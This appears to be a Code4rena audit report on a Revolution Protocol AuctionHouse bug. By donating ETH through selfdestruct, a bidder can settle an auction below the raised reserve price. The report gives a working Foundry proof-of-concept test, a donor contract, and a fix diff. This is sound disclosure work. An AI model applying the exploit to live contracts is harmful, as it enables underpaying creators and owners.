Light ModeLight
Light ModeDark

One Bug Per Day

One H/M every day from top Wardens

Checkmark

Join over 1125 wardens!

Checkmark

Receive the email at any hour!

Ad

Bidder can use donations to get VerbsToken from auction that already ended.

mediumCode4rena

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/AuctionHouse.sol#L348 https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/AuctionHouse.sol#L365-L368

Vulnerability details

Impact

  • Token will be auctioned off without following the intended rules resulting in an unfair auction.
  • Loss of funds for Creators and AuctionHouse owner.

Proof of Concept

For this attack to be possible it's necessary that the following happens in the shown order:

  1. Attacker created a bid.
  2. AuctionHouse::reservePrice is increased to a value superior to the already placed bid.
  3. No new bid is created after AuctionHouse::reservePrice is called and the auction ends.
  4. Attacker donates through selfdestruct to AuctionHouse the minimum necessary to have address(AuctionHouse).balance be greater or equal to AuctionHouse::reservePrice.
  5. Auction is settled.
  6. Attacker will get the token and creators and AuctionHouse owner will be paid less than expected since their pay will be computed based on _auction.amount which is lower than the set reservePrice.

To execute the following code copy paste it into AuctionSettling.t.sol

solidity
function testCircumventsMostCreateBidRestrictionsThroughDonationAndReducesTokenPayments() public { createDefaultArtPiece(); auction.unpause(); uint256 balanceBefore = address(dao).balance; uint256 bidAmount = auction.reservePrice(); uint256 reservePriceIncrease = 0.1 ether; address bidder = address(11); vm.deal(bidder, bidAmount + reservePriceIncrease); vm.startPrank(bidder); auction.createBid{ value: bidAmount }(0, bidder); // Assuming first auction's verbId is 0 vm.stopPrank(); vm.startPrank(auction.owner()); // After setting new ReservePrice current bid won't be enough to win the auction auction.setReservePrice(auction.reservePrice() + reservePriceIncrease); assertGt(auction.reservePrice(), bidAmount); vm.stopPrank(); vm.warp(block.timestamp + auction.duration()); // Fast forward time to end the auction vm.startPrank(bidder); ContractDonatesEthThroughSelfdestruct donor = new ContractDonatesEthThroughSelfdestruct{value: reservePriceIncrease}(); donor.donate(payable(address(auction))); auction.settleCurrentAndCreateNewAuction(); //Through donation bidder was able to get the token even though the auction had already ended. assertEq(erc721Token.ownerOf(0), bidder); //Since payments are calculated using _auction.amount all the involved parties will get //less than they would if reservePrice had been respected. //Code below shows payments were calculated based on bidAmount which is less than the reservePrice. uint256 balanceAfter = address(dao).balance; uint256 creatorRate = auction.creatorRateBps(); uint256 entropyRate = auction.entropyRateBps(); //calculate fee uint256 amountToOwner = (bidAmount * (10_000 - (creatorRate * entropyRate) / 10_000)) / 10_000; //amount spent on governance uint256 etherToSpendOnGovernanceTotal = (bidAmount * creatorRate) / 10_000 - (bidAmount * (entropyRate * creatorRate)) / 10_000 / 10_000; uint256 feeAmount = erc20TokenEmitter.computeTotalReward(etherToSpendOnGovernanceTotal); assertEq( balanceAfter - balanceBefore, amountToOwner - feeAmount ); } contract ContractDonatesEthThroughSelfdestruct { constructor() payable {} function donate(address payable target) public { selfdestruct(target); } }

Tools Used

Manual Review.

Recommended Mitigation Steps

Execute the following diff at AuctionHouse::_settleAuction :

diff
- if (address(this).balance < reservePrice) { + if (_auction.amount < reservePrice) {

Assessed type

Other